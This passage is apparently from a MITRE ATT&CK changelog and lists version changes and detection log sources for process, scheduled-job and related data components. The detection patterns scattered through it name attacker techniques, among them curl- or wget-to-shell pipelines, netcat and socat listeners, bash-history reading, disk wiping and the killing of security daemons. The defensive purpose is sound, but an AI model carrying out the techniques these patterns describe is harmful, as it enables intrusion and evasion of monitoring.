'macos:unifiedlog', 'channel': 'Execution of process with DYLD_INSERT_LIBRARIES set'}, {'name': 'linux:Sysmon', 'channel': 'process creation events linked to container namespaces executing host-level binaries'}, {'name': 'WinEventlog:Security', 'channel': 'EventCode=4688'}, {'name': 'macos:unifiedlog', 'channel': 'process and signing chain events'}, {'name': 'macos:unifiedlog', 'channel': 'launchservices events for misleading extensions'}, {'name': 'fs:fsusage', 'channel': 'Execution of disguised binaries'}, {'name': 'linux:osquery', 'channel': 'process listening or connecting on non-standard ports'}, {'name': 'macos:unifiedlog', 'channel': 'launchd services binding to non-standard ports'}, {'name': 'auditd:SYSCALL', 'channel': 'execve, connect'}, {'name': 'esxi:cron', 'channel': 'process or cron activity'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of binaries with unsigned or anomalously signed certificates'}, {'name': 'auditd:SYSCALL', 'channel': 'execve logging for /usr/bin/systemctl and systemd-run'}, {'name': 'macos:osquery', 'channel': 'Invocation of osascript or dylib injection'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Execution of files saved in mail or download directories'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of Terminal, osascript, or other interpreters originating from Mail or Preview'}, {'name': 'macos:unifiedlog', 'channel': 'process events'}, {'name': 'linux:syslog', 'channel': 'Unauthorized sudo or shell access, especially leading to file changes in /var/www or /srv/http'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of unexpected terminal or web scripts modifying /Library/WebServer/Documents'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Execution of CLI tools like psql, mysql, mongo, sqlite3'}, {'name': 'macos:unifiedlog', 'channel': 'Process start of Java or native DB client tools'}, {'name': 'macos:unifiedlog', 'channel': 'loginwindow or tccd-related entries'}, {'name': 'macos:osquery', 'channel': 'query: process_events, launchd, and tcc.db access'}, {'name': 'ebpf:syscalls', 'channel': 'process execution or network connect from just-created container PID namespace'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Execution of pip, npm, gem, or similar package managers'}, {'name': 'macos:unifiedlog', 'channel': 'Command line invocation of pip3, brew install, npm install from interactive Terminal'}, {'name': 'auditd:SYSCALL', 'channel': 'fork/exec of service via PID 1 (systemd)'}, {'name': 'auditd:EXECVE', 'channel': 'Execution of ssh/scp/sftp without corresponding authentication log'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of ssh or sftp without corresponding login event'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: execve where exe=/usr/bin/python3 or similar interpreter'}, {'name': 'macos:unifiedlog', 'channel': 'launch of remote desktop app or helper binary'}, {'name': 'macos:unifiedlog', 'channel': 'Unexpected processes making network calls based on DNS-derived ports'}, {'name': 'macos:unifiedlog', 'channel': 'launchctl spawning new processes'}, {'name': 'macos:unifiedlog', 'channel': 'launchctl activity and process creation'}, {'name': 'containerd:events', 'channel': 'New container with suspicious image name or high resource usage'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of Python, Swift, or other binaries invoking archiving libraries'}, {'name': 'linux:osquery', 'channel': 'Processes linked with libssl or crypto libraries making outbound connections'}, {'name': 'macos:unifiedlog', 'channel': 'Process invoking SSL routines from Security framework'}, {'name': 'auditd:SYSCALL', 'channel': 'Execution of binaries located in /etc/init.d/ or systemd service paths'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of binary listed in newly modified LaunchAgent plist'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of bless or nvram modifying boot parameters'}, {'name': 'macos:unifiedlog', 'channel': 'Unexpected processes registered with launchd'}, {'name': 'macos:unifiedlog', 'channel': 'Process launch'}, {'name': 'macos:unifiedlog', 'channel': 'execution of curl, osascript, or unexpected Office processes'}, {'name': 'macos:osquery', 'channel': 'exec'}, {'name': 'macos:unifiedlog', 'channel': 'Trust validation failures or bypass attempts during notarization and code signing checks'}, {'name': 'esxi:vmkernel', 'channel': 'spawned shell or execution environment activity'}, {'name': 'macos:unifiedlog', 'channel': 'process_exec: image in {/bin/bash,/bin/zsh,/usr/bin/osascript,/usr/bin/python*,/usr/bin/curl,/usr/bin/ssh,/usr/bin/open} AND parent in {Preview, TextEdit, Microsoft Word, Microsoft Excel, AdobeReader, Archive Utility, Finder}'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: exe in {/bin/bash,/bin/sh,/usr/bin/python*,/usr/bin/perl,/usr/bin/php,/usr/bin/node,/usr/bin/curl,/usr/bin/wget,/usr/bin/xdg-open,/usr/bin/ssh,/usr/bin/rundll32 (wine)} AND ppid process is a document viewer/browser'}, {'name': 'auditd:EXECVE', 'channel': 'Execution of dd/sgdisk with arguments writing to sector 0 or partition table'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of zip, ditto, hdiutil, or openssl by processes not normally associated with archiving'}, {'name': 'macos:unifiedlog', 'channel': 'process execution events for chmod, chown, chflags with unusual parameters or targets'}, {'name': 'm365:defender', 'channel': 'AdvancedHunting(DeviceEvents, ProcessCreate, ImageLoad, AMSI/ETW derived signals)'}, {'name': 'macos:unifiedlog', 'channel': 'execve or dylib load from memory without backing file'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Commands that alter firewall or start listeners: iptables|nft|ufw|firewall-cmd|pfctl|systemctl start sshd/telnet/dropbear; raw-socket/libpcap tools (tcpdump, tshark, nmap --raw).'}, {'name': 'macos:unifiedlog', 'channel': 'exec: Execution of pfctl, socketfilterfw, launchctl start ssh/telnet, libpcap consumers.'}, {'name': 'esxi:shell', 'channel': 'Shell Execution'}, {'name': 'macos:unifiedlog', 'channel': 'Unusual child process tree indicating attempted recovery after crash'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Execution of binaries/scripts presenting false health messages for security daemons'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of processes mimicking Apple Security & Privacy GUIs'}, {'name': 'WinEventLog:Microsoft-Windows-Security-Auditing', 'channel': 'EventCode=4688'}, {'name': 'auditd:SYSCALL', 'channel': 'execve, setifflags'}, {'name': 'macos:osquery', 'channel': "process_events where path like '%tcpdump%'"}, {'name': 'auditd:EXECVE', 'channel': 'Execution of dd, shred, or wipe with arguments targeting block devices'}, {'name': 'auditd:EXECVE', 'channel': 'systemctl stop auditd, kill -9 , or modifications to /etc/selinux/config'}, {'name': 'macos:unifiedlog', 'channel': 'execution of curl, git, or Office processes with network connections'}, {'name': 'macos:unifiedlog', 'channel': 'log stream - process subsystem'}, {'name': 'auditd:SYSCALL', 'channel': 'execve calls for qemu-system*, kvm, or VBoxHeadless'}, {'name': 'macos:unifiedlog', 'channel': 'Process execution for VBoxHeadless, prl_vm_app, vmware-vmx'}, {'name': 'macos:unifiedlog', 'channel': 'process logs'}, {'name': 'esxi:shell', 'channel': 'None'}, {'name': 'auditd:SYSCALL', 'channel': 'execve of interpreters (python, perl), custom binaries, or shell utilities with long arguments containing non-standard tokens'}, {'name': 'macos:endpointsecurity', 'channel': 'ES_EVENT_TYPE_NOTIFY_EXEC: arguments contain long, non-standard tokens / custom alphabets'}, {'name': 'macos:unifiedlog', 'channel': 'command line or log output shows non-standard encoding routines'}, {'name': 'esxi:shell', 'channel': 'commands containing long non-standard tokens or custom lookup tables'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of /usr/sbin/installer spawning child process from within /private/tmp or package contents'}, {'name': 'auditd:SYSCALL', 'channel': 'Execution of dpkg or rpm followed by fork/execve from within postinst, prerm, etc.'}, {'name': 'macos:unifiedlog', 'channel': 'execve: Helper tools invoked through XPC executing unexpected binaries'}, {'name': 'macos:unifiedlog', 'channel': 'execution of modified binary without valid signature'}, {'name': 'auditd:SYSCALL', 'channel': "execve: exe in (/usr/bin/bash,/usr/bin/sh,/usr/bin/zsh,/usr/bin/python*) AND cmdline matches '(curl|wget).*(\\||\\|\\s*sh|bash)|base64\\s*-d|python\\s*-c'"}, {'name': 'macos:unifiedlog', 'channel': "exec: ParentImage in (Terminal, iTerm2) AND Image in (/bin/zsh,/bin/bash,/usr/bin/python*) AND CommandLine matches '(curl|wget).*(\\||\\|\\s*sh|bash)|base64 -D|python -c'"}, {'name': 'macos:unifiedlog', 'channel': 'process created with repeated ICMP or UDP flood behavior'}, {'name': 'fs:fsusage', 'channel': 'binary execution of security_authtrampoline'}, {'name': 'macos:unifiedlog', 'channel': 'process: exec'}, {'name': 'esxi:vmkernel', 'channel': 'Exec'}, {'name': 'macos:unifiedlog', 'channel': 'Child processes of Safari, Chrome, or Firefox executing scripting interpreters'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of older or non-standard interpreters'}, {'name': 'linux:osquery', 'channel': 'process execution events for permission modification utilities with command-line analysis'}, {'name': 'macos:unifiedlog', 'channel': 'process execution events for chmod, chown, chflags with parameter analysis and target path examination'}, {'name': 'macos:osquery', 'channel': 'process execution monitoring for permission modification utilities with command-line argument analysis'}, {'name': 'auditd:SYSCALL', 'channel': 'Invocation of packet generation tools (e.g., hping3, nping) or fork bombs'}, {'name': 'macos:osquery', 'channel': 'Execution of flooding tools or compiled packet generators'}, {'name': 'esxi:hostd', 'channel': 'process'}, {'name': 'auditd:SYSCALL', 'channel': 'execve for proxy tools'}, {'name': 'macos:unifiedlog', 'channel': 'process, socket, and DNS logs'}, {'name': 'macos:osquery', 'channel': 'process_events table'}, {'name': 'macos:unifiedlog', 'channel': "Command line containing `trap` or `echo 'trap` written to login shell files"}, {'name': 'macos:unifiedlog', 'channel': 'log collect --predicate'}, {'name': 'auditd:SYSCALL', 'channel': 'execve or nanosleep with no stdout/stderr I/O'}, {'name': 'macos:unifiedlog', 'channel': 'launchd or osascript spawns process with delay command'}, {'name': 'linux:syslog', 'channel': 'systemd-udevd spawning user-defined action from RUN+='}, {'name': 'ebpf:syscalls', 'channel': 'execve'}, {'name': 'macos:unifiedlog', 'channel': 'process:spawn'}, {'name': 'macos:unifiedlog', 'channel': 'log stream --predicate \'eventMessage contains "exec"\''}, {'name': 'auditd:EXECVE', 'channel': 'cat|less|grep accessing .bash_history from a non-shell process'}, {'name': 'auditd:EXECVE', 'channel': 'Process execution via .desktop Exec path from /etc/xdg/autostart or ~/.config/autostart'}, {'name': 'auditd:SYSCALL', 'channel': 'Execution of dpkg, rpm, or other package manager with list flag'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of system_profiler or osascript invoking enumeration'}, {'name': 'auditd:SYSCALL', 'channel': 'apache2 or nginx spawning sh, bash, or python interpreter'}, {'name': 'macos:unifiedlog', 'channel': 'httpd spawning bash, zsh, python, or osascript'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of /usr/libexec/security_authtrampoline or child processes originating from non-trusted binaries triggering credential prompts'}, {'name': 'macos:unifiedlog', 'channel': 'execution of security or osascript'}, {'name': 'WinEventLog:security', 'channel': 'EventCode=4688'}, {'name': 'macos:unifiedlog', 'channel': 'launchd spawning processes tied to new or modified LaunchDaemon .plist entries'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of ping, nping, or crafted network packets via bash or python to reflection services'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Execution of commands modifying iptables/nftables to block selective IPs'}, {'name': 'macos:unifiedlog', 'channel': 'System process modifications altering DNS/proxy settings'}, {'name': 'containerd:Events', 'channel': 'unusual process spawned from container image context'}, {'name': 'macos:osquery', 'channel': 'curl, python scripts, rsync with internal share URLs'}, {'name': 'macos:unifiedlog', 'channel': 'process: spawn, exec'}, {'name': 'macos:osquery', 'channel': 'Rapid spawning of resource-heavy applications (e.g., Preview, Safari, Office)'}, {'name': 'macos:unifiedlog', 'channel': 'Process creation events where command line = pmset with arguments affecting sleep, hibernatemode, displaysleep'}, {'name': 'macos:unifiedlog', 'channel': 'Unexpected apps performing repeated DNS lookups'}, {'name': 'macos:unifiedlog', 'channel': 'launchservices or loginwindow events'}, {'name': 'auditd:SYSCALL', 'channel': 'execve with LD_PRELOAD or linker-related environment variables set'}, {'name': 'macos:unifiedlog', 'channel': 'execution of process with DYLD_INSERT_LIBRARIES set'}, {'name': 'macos:unifiedlog', 'channel': 'Suspicious Swift/Objective-C or scripting processes writing archive-like outputs'}, {'name': 'auditd:SYSCALL', 'channel': 'execve of re-parented process'}, {'name': 'linux:osquery', 'channel': 'Anomalous parent PID change'}, {'name': 'macos:unifiedlog', 'channel': 'Process creation with parent PID of 1 (launchd)'}, {'name': 'linux:osquery', 'channel': 'child process invoking dynamic linker post-ptrace'}, {'name': 'macos:osquery', 'channel': 'Processes executing kextload, spctl, or modifying kernel extension directories'}, {'name': 'macos:osquery', 'channel': 'Unsigned or ad-hoc signed process executions in user contexts'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of diskutil or hdiutil attaching hidden partitions'}, {'name': 'macos:unifiedlog', 'channel': 'process execution events for discovery utilities (system_profiler, sw_vers, dscl, networksetup) with command-line parameter analysis'}, {'name': 'macos:osquery', 'channel': 'process event monitoring with focus on discovery utilities and cryptographic framework usage correlation'}, {'name': 'macos:unifiedlog', 'channel': 'Unexpected apps generating frequent DNS queries'}, {'name': 'macos:unifiedlog', 'channel': 'process exec'}, {'name': 'auditd:SYSCALL', 'channel': 'socket: Suspicious creation of AF_UNIX sockets outside expected daemons'}, {'name': 'macos:unifiedlog', 'channel': 'Non-standard processes invoking financial applications or payment APIs'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Agent/headless flags (listen/connect/reverse/tunnel) or remote-control binaries spawning shells'}, {'name': 'auditd:SYSCALL', 'channel': 'systemctl enable/start: Creation/enablement of custom .service units in /etc/systemd/system'}, {'name': 'macos:unifiedlog', 'channel': 'Process exec of remote-control apps or binaries with headless/connect flags'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: systemctl stop, service stop, or kill -9 on security daemons (e.g., falcon-sensor, auditd)'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of launchctl unload, kill, or removal of security agent daemons'}, {'name': 'macos:unifiedlog', 'channel': 'process activity, exec events'}, {'name': 'macos:unifiedlog', 'channel': 'log stream process subsystem'}, {'name': 'macos:unifiedlog', 'channel': 'process:exec and kext load events'}, {'name': 'macos:unifiedlog', 'channel': 'log stream --info --predicate \'eventMessage CONTAINS "exec"\''}, {'name': 'WinEventLog:Microsoft-Windows-DotNETRuntime', 'channel': 'Unexpected AppDomain creation events or anomalous AppDomainManager assembly load behavior'}, {'name': 'auditd:SYSCALL', 'channel': 'Execution of network stress tools or anomalies in socket/syscall behavior'}, {'name': 'macos:unifiedlog', 'channel': 'Unsigned binary execution following SIP change'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Commands altering firewall or enabling listeners (iptables, nft, ufw, firewall-cmd, systemctl start *ssh*/*telnet*, ip route add, tcpdump, tshark)'}, {'name': 'macos:unifiedlog', 'channel': 'exec: Execution of /sbin/pfctl, /usr/libexec/ApplicationFirewall/socketfilterfw, ifconfig, tcpdump, npcap/libpcap consumers'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of zip, ditto, hdiutil, or openssl by non-terminal parent processes'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of binaries with TCC protected access under unexpected parent processes such as Finder.app, SystemUIServer, or nsurlsessiond'}, {'name': 'WinEventLog:AppLocker', 'channel': 'EventCode=8003,8004'}, {'name': 'auditd:SYSCALL', 'channel': 'execve, unlink'}, {'name': 'macos:osquery', 'channel': 'launchd, processes'}, {'name': 'linux:osquery', 'channel': 'socat, ssh, or nc processes opening unexpected ports'}, {'name': 'macos:unifiedlog', 'channel': 'process execution of ssh with -L/-R forwarding flags'}, {'name': 'macos:unifiedlog', 'channel': 'launchd or cron spawning mining binaries'}, {'name': 'auditd:SYSCALL', 'channel': 'execve or socket/connect system calls for processes using RSA handshake'}, {'name': 'macos:unifiedlog', 'channel': 'Process invoking SecKeyCreateRandomKey or asymmetric crypto APIs'}, {'name': 'azure:vmguest', 'channel': 'Unexpected execution of cloud agent processes (e.g., WindowsAzureGuestAgent.exe, ssm-agent) followed by arbitrary script or binary execution'}, {'name': 'macos:unifiedlog', 'channel': 'Script interpreter invoked by nginx/apache worker process'}, {'name': 'macos:unifiedlog', 'channel': 'execution of Office binaries with network activity'}, {'name': 'macos:unifiedlog', 'channel': 'launch of bash/zsh/python/osascript targeting key file locations'}, {'name': 'macos:unifiedlog', 'channel': 'execution of /sbin/emond with child processes launched'}, {'name': 'etw:Microsoft-Windows-Kernel-Process', 'channel': 'provider: ETW CreateProcess events linking msbuild.exe to suspicious children where standard logs are incomplete'}, {'name': 'macos:unifiedlog', 'channel': 'shutdown -h now or reboot'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of Code.app, idea, JetBrainsToolbox, eclipse with install/extension flags'}, {'name': 'macos:unifiedlog', 'channel': 'process execution events for system discovery utilities (system_profiler, sysctl, networksetup, ioreg) with parameter analysis'}, {'name': 'OpenBSM:AuditTrail', 'channel': 'BSM audit events for process execution and system call monitoring during reconnaissance'}, {'name': 'esxi:hostd', 'channel': 'host daemon events related to VM operations and configuration queries during reconnaissance'}, {'name': 'esxi:vmkernel', 'channel': 'VMware kernel events for hardware and system configuration access during environmental validation'}, {'name': 'linux:osquery', 'channel': 'processes modifying environment variables related to history logging'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: parent process is usb/hid device handler, child process bash/python invoked'}, {'name': 'macos:unifiedlog', 'channel': 'execution of curl, rclone, or Office apps invoking network sessions'}, {'name': 'macos:unifiedlog', 'channel': 'exec: Execution of kextstat, kextfind, or ioreg targeting driver information'}, {'name': 'macos:endpointsecurity', 'channel': 'exec events'}, {'name': 'macos:unifiedlog', 'channel': 'Process creation involving binaries interacting with resource fork data'}, {'name': 'macos:unifiedlog', 'channel': 'process event'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Execution of suspicious exploit binaries targeting security daemons'}, {'name': 'macos:osquery', 'channel': 'execve: Unsigned or unnotarized processes launched with high privileges'}, {'name': 'macos:unifiedlog', 'channel': 'security OR injection attempts into 1Password OR LastPass'}]
values_changed
STIX FieldOld valueNew Value
modified2025-04-18 15:10:27.797000+00:002025-10-21 19:28:39.339000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.22.0
x_mitre_data_source_refx-mitre-data-source--e8b8ede7-337b-4c0c-8c32-5c7872c1ee22

[DC0107] Process History/Live Data

Current version: 2.0

Version changed from: 1.0 → 2.0

Details
dictionary_item_added
STIX FieldOld valueNew Value
external_references[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0107', 'external_id': 'DC0107'}]
x_mitre_log_sources[{'name': 'Operational Databases', 'channel': 'None'}]
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_source_refx-mitre-data-source--1b8c9f31-ad35-4850-bf8c-80c565ad3552
values_changed
STIX FieldOld valueNew Value
modified2025-04-25 14:39:54.996000+00:002025-10-21 15:10:28.402000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.02.0

[DC0034] Process Metadata

Current version: 2.0

Version changed from: 1.0 → 2.0

Details
dictionary_item_added
STIX FieldOld valueNew Value
external_references[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0034', 'external_id': 'DC0034'}]
x_mitre_log_sources[{'name': 'Process', 'channel': 'None'}, {'name': 'macos:unifiedlog', 'channel': 'subsystem=com.apple.process'}, {'name': 'WinEventLog:Microsoft-Windows-CodeIntegrity/Operational', 'channel': 'CodeIntegrity/WDAC events indicating unsigned/invalid DLL loads'}, {'name': 'linux:syslog', 'channel': 'sudo or service accounts invoking loaders with suspicious env vars'}, {'name': 'macos:osquery', 'channel': 'Process Context'}, {'name': 'esxi:auth', 'channel': 'user session'}, {'name': 'networkdevice:syslog', 'channel': 'Admin activity'}, {'name': 'auditd:SYSCALL', 'channel': 'execve call for sudo where euid != uid'}, {'name': 'macos:unifiedlog', 'channel': 'subsystem=com.apple.TCC'}, {'name': 'macos:unifiedlog', 'channel': 'exec of binary with setuid/setgid and EUID != UID'}, {'name': 'macos:unifiedlog', 'channel': 'process'}, {'name': 'auditd:SYSCALL', 'channel': 'Use of fork/exec with DISPLAY unset or redirected'}, {'name': 'EDR:Telemetry', 'channel': 'Process lineage and API usage enrichment (GetSystemTime, GetTimeZoneInformation, NtQuerySystemTime)'}, {'name': 'esxi:hostd', 'channel': '/var/log/hostd.log API calls reading/altering time/ntp settings'}, {'name': 'auditd:SYSCALL', 'channel': 'execve, prctl, or ptrace activity affecting process memory or command-line arguments'}, {'name': 'linux:osquery', 'channel': 'Cross-reference argv[0] with actual executable path and parent process metadata'}, {'name': 'WinEventLog:AppLocker', 'channel': 'AppLocker audit/blocks showing developer utilities executing scripts/binaries outside policy'}, {'name': 'EDR:hunting', 'channel': 'Correlation of signer info, parent-child lineage, rare invocation context (user host role), and API surfaces (CreateProcess*, LoadLibrary*)'}, {'name': 'WinEventLog:Microsoft-Windows-Security-Mitigations/KernelMode', 'channel': 'ETW telemetry indicating ClickOnce deployment (dfsvc.exe) launching payloads'}, {'name': 'etw:Microsoft-Windows-ClickOnce', 'channel': 'provider: Event Tracing for Windows (ETW) events associated with ClickOnce deployment (dfsvc.exe activity)'}, {'name': 'WinEventLog:Microsoft-Windows-Windows Camera Frame Server/Operational', 'channel': 'Process session start/stop events for camera pipeline by unexpected executables'}, {'name': 'linux:osquery', 'channel': "select: path LIKE '/dev/video%'"}, {'name': 'linux:osquery', 'channel': 'state=attached/debugged'}, {'name': 'macos:unifiedlog', 'channel': 'Code Execution & Entitlement Access'}, {'name': 'macos:unifiedlog', 'channel': 'Process opening SSH_AUTH_SOCK or /tmp/ssh-* socket not owned by same UID'}, {'name': 'macos:unifiedlog', 'channel': 'code signature/memory protection'}, {'name': 'auditd:SYSCALL', 'channel': 'execve with UID ≠ EUID'}, {'name': 'auditd:SYSCALL', 'channel': 'execve with escalated privileges'}, {'name': 'AWS:CloudTrail', 'channel': 'cross-account or unexpected assume role'}, {'name': 'macos:unifiedlog', 'channel': 'log collect from launchd and process start'}, {'name': 'containerd:events', 'channel': 'Docker or containerd image pulls and process executions'}, {'name': 'linux:syslog', 'channel': 'Kernel or daemon warnings of downgraded TLS or cryptographic settings'}, {'name': 'macos:unifiedlog', 'channel': 'Modifications or writes to EFI system partition for downgraded bootloaders'}, {'name': 'macos:unifiedlog', 'channel': 'non-shell process tree accessing bash history'}, {'name': 'linux:osquery', 'channel': 'process metadata mismatch between /proc and runtime attributes'}, {'name': 'linux:osquery', 'channel': 'process environment variables containing LD_PRELOAD'}, {'name': 'WinEventLog:PowerShell', 'channel': 'EventCode=400,403'}, {'name': 'macos:osquery', 'channel': 'Process Execution + Hash'}, {'name': 'etw:Microsoft-Windows-Kernel-Process', 'channel': 'process_start: EventHeader.ProcessId true parent vs reported PPID mismatch'}, {'name': 'macos:endpointsecurity', 'channel': 'ES_EVENT_TYPE_NOTIFY_EXEC, ES_EVENT_TYPE_NOTIFY_MMAP'}, {'name': 'WinEventLog:Microsoft-Windows-CodeIntegrity/Operational', 'channel': 'Unsigned/invalid signature modules or images loaded by msbuild.exe or its children'}, {'name': 'WinEventLog:Microsoft-Windows-DeviceGuard/Operational', 'channel': 'WDAC policy audit/block affecting msbuild.exe spawned payloads'}, {'name': 'WinEventLog:Microsoft-Windows-SmartAppControl/Operational', 'channel': 'Smart App Control decisions (audit/block) for msbuild.exe-launched executables'}, {'name': 'WinEventLog:Microsoft-Windows-CodeIntegrity/Operational', 'channel': 'Unsigned or untrusted modules loaded during JamPlus.exe runtime'}]
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_source_refx-mitre-data-source--e8b8ede7-337b-4c0c-8c32-5c7872c1ee22
values_changed
STIX FieldOld valueNew Value
modified2025-04-18 15:10:37.873000+00:002025-10-21 15:14:35.331000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.02.0

[DC0033] Process Termination

Current version: 2.0

Version changed from: 1.1 → 2.0

Details
dictionary_item_added
STIX FieldOld valueNew Value
external_references[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0033', 'external_id': 'DC0033'}]
x_mitre_log_sources[{'name': 'Process', 'channel': 'None'}, {'name': 'WinEventLog:Sysmon', 'channel': 'EventCode=5'}, {'name': 'linux:syslog', 'channel': 'Unexpected termination of daemons or critical services not aligned with admin change tickets'}, {'name': 'macos:osquery', 'channel': 'process_termination: Unexpected termination of processes tied to vulnerable or high-value services'}, {'name': 'esxi:hostd', 'channel': 'Log entries indicating VM powered off or forcibly terminated'}, {'name': 'macos:unifiedlog', 'channel': 'Terminal process killed (killall Terminal) immediately after sudoers modification'}, {'name': 'auditd:SYSCALL', 'channel': 'exit_group'}, {'name': 'macos:unifiedlog', 'channel': 'process.*exit.*code'}, {'name': 'linux:osquery', 'channel': 'unexpected termination of syslog or rsyslog processes'}, {'name': 'auditd:SYSCALL', 'channel': 'Process segfault or abnormal termination after invoking vulnerable syscall sequence'}, {'name': 'auditd:SYSCALL', 'channel': 'kill syscalls targeting logging/security processes'}, {'name': 'macos:unifiedlog', 'channel': 'Termination of syspolicyd or XProtect processes'}, {'name': 'docker:runtime', 'channel': 'Termination of monitoring sidecar or security container'}]
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_source_refx-mitre-data-source--e8b8ede7-337b-4c0c-8c32-5c7872c1ee22
values_changed
STIX FieldOld valueNew Value
modified2025-04-18 15:10:34.519000+00:002025-10-21 15:14:36.181000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.12.0

[DC0109] Process/Event Alarm

Current version: 2.0

Version changed from: 1.0 → 2.0

Details
dictionary_item_added
STIX FieldOld valueNew Value
external_references[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0109', 'external_id': 'DC0109'}]
x_mitre_log_sources[{'name': 'Operational Databases', 'channel': 'None'}]
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_source_refx-mitre-data-source--1b8c9f31-ad35-4850-bf8c-80c565ad3552
values_changed
STIX FieldOld valueNew Value
modified2025-04-25 14:39:52.496000+00:002025-10-21 15:10:28.402000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.02.0

[DC0001] Scheduled Job Creation

Current version: 2.0

Version changed from: 1.1 → 2.0

Details
dictionary_item_added
STIX FieldOld valueNew Value
external_references[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0001', 'external_id': 'DC0001'}]
x_mitre_log_sources[{'name': 'Scheduled Job', 'channel': 'None'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4698'}, {'name': 'linux:syslog', 'channel': 'Execution of non-standard script or binary by cron'}, {'name': 'WinEventLog:TaskScheduler', 'channel': 'EventCode=106'}, {'name': 'linux:osquery', 'channel': 'crontab, systemd_timers'}, {'name': 'macos:osquery', 'channel': 'launchd_jobs'}, {'name': 'esxi:vmkernel', 'channel': 'Startup script and task execution logs'}, {'name': 'kubernetes:apiserver', 'channel': 'verb=create, resource=cronjobs, group=batch'}, {'name': 'linux:osquery', 'channel': 'file_events'}, {'name': 'macos:unifiedlog', 'channel': 'process: crontab edits, launch of cron job'}, {'name': 'macos:osquery', 'channel': 'file_events - cron, launchd'}, {'name': 'esxi:cron', 'channel': 'execution of scheduled job'}, {'name': 'esxi:hostd', 'channel': 'task creation events'}, {'name': 'macos:cron', 'channel': 'cron/launchd'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4699'}, {'name': 'linux:cron', 'channel': 'Scheduled execution of unknown or unusual script/binary'}]
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_source_refx-mitre-data-source--c9ddfb51-eb45-4e22-b614-44ac1caa7883
values_changed
STIX FieldOld valueNew Value
modified2025-04-18 15:11:43.635000+00:002025-10-21 15:14:35.814000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.12.0

[DC0005] Scheduled Job Metadata

Current version: 2.0

Version changed from: 1.0 → 2.0

Details
dictionary_item_added
STIX FieldOld valueNew Value
external_references[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/data-components/DC0005', 'external_id': 'DC0005'}]
x_mitre_log_sources[{'name': 'Scheduled Job', 'channel': 'None'}, {'name': 'linux:cron', 'channel': '/var/log/syslog or journalctl'}, {'name': 'fs:fileevents', 'channel': '/Library/LaunchDaemons/*.plist, ~/Library/LaunchAgents/*.plist'}, {'name': 'WinEventLog:TaskScheduler', 'channel': 'Task registration/execution shortly after a time discovery event'}, {'name': 'linux::cron', 'channel': 'crontab or at job created within TimeWindow post time discovery'}, {'name': 'macos:unifiedlog', 'channel': 'New/modified launchd plist (persistence/scheduling) within TimeWindow after time query'}, {'name': 'esxi:syslog', 'channel': '/var/log/vpxa.log task invocations tied to time configuration'}, {'name': 'WinEventLog:System', 'channel': 'EventCode=106, 200'}, {'name': 'linux:cron', 'channel': 'cron activity'}, {'name': 'macos:launchd', 'channel': 'launchd.plist and logs'}]
values_changed
STIX FieldOld valueNew Value
modified2025-04-25 14:39:56.271000+00:002025-10-22 19:03:38.549000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.02.0
x_mitre_data_source_refx-mitre-data-source--c9ddfb51-eb45-4e22-b614-44ac1caa7883
iterable_item_added
STIX FieldOld valueNew Value
x_mitre_domainsics-attack

[DC0012] Scheduled Job Modification

Current version: 2.0

Version changed from: 1.0 → 2.0

Details
dictionary_item_added
STIX FieldOld valueNew Value
external_references[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0012', 'external_id': 'DC0012'}]
x_mitre_log_sources[{'name': 'Scheduled Job', 'channel': 'None'}, {'name': 'auditd:CONFIG_CHANGE', 'channel': '/var/log/audit/audit.log'}, {'name': 'm365:exchange', 'channel': 'Remove-InboxRule, Clear-Mailbox'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4702'}]
